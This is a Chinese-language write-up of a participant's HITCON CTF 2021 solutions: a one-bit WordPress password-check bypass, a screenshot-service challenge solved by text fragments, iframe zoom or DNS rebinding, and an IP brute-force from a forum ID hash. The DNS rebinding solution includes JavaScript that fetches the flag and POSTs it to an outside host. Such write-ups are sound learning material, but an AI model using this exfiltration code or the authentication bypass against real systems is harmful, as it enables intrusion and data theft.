HITCON CTF 2021


這次終於有隊友了讚讚
隊名:反正也不會有名次
今年的感覺比去年簡單,所以隊名沒有用到
Rank:31/288
台灣第6

我解了兩題Web
隊友解了兩題Reverse跟Crypto


One-Bit Man

題目會幫你用docker開一個Wordpress
並且把flag跟readflag丟no進去
然後可以讓你修改裡面檔案的一個bit
這題其實沒什麼,主要就是code review
https://github.com/WordPress/WordPress/blob/master/wp-login.php
既然是只能修改一個bit,應該就是修改登入邏輯
然後最後可以找到下面這行是確認密碼有沒有對

wp-includes/user.php position 5389

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {

把!改成空白他就不會檢查密碼了
之後登入admin並且植入執行readflag的php就行了

hitcon{if your solution is l33t, please share it!}


Vulpixelize

題目一樣會開個docker給你
網站的功能是可以對目標網址發request並且截圖然後把他變糊
是用Selenium並且是用ChromeDriver
這題有三種解法,據Orange說是出爛ㄌ

Intended:

用chrome的新功能Text fragment
可以在url中執行字串搜尋
搜尋到的會被標記顏色
所以就去爆破flag

Unintended 1:

用iframe並且放大
這樣截出來的圖就算變糊還是可以看到flag

Unintended 2:

用DNS rebinding

setTimeout(()=>{
    fetch("http://A.x.x.x.x.1time.0.0.0.0.1time.repeat.rebind.network:8000/flag",)
        .then(res=>res.text())
        .then(res=>{
            fetch("https://itiscaleb.com/hehe",{
                body:res,
                method:"POST"
            })
        })
        .catch((err)=>{
            fetch("https://itiscaleb.com/hehe",{
                body:err,
                method:"POST"
            })
        })
},70000)

Chrome基本上不會鳥DNS的ttl,預設好像是一分鐘清一次cache
然後新版的Chrome增加一個新功能,會把從比較公開到比較私有的request擋下來
像是http->https 外部ip->localhost
不過還是能靠0.0.0.0繞過去
雖然感覺好像這個功能就是來防DNS rebinding的(?

hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}

FBI Warning

這題超簡單,可惜我耍白痴算md5用update
結果爆破不出來==
flag是要找到Ωrange的ip,並且告訴你第一段是219
總之可以直接找到原始碼是futaba.php
k島就是用這來做的
code review之後,可以找到這個東西

define("IDSEED", 'idの種');       //idの種
...
$now.=" ID:".substr(crypt(md5($_SERVER["REMOTE_ADDR"].IDSEED.gmdate("Ymd", $time+9*60*60)),'id'),-8);

之後就用python爆破就好

hitcon{219.91.64.47}

結語

靠隊友好開心ㄛ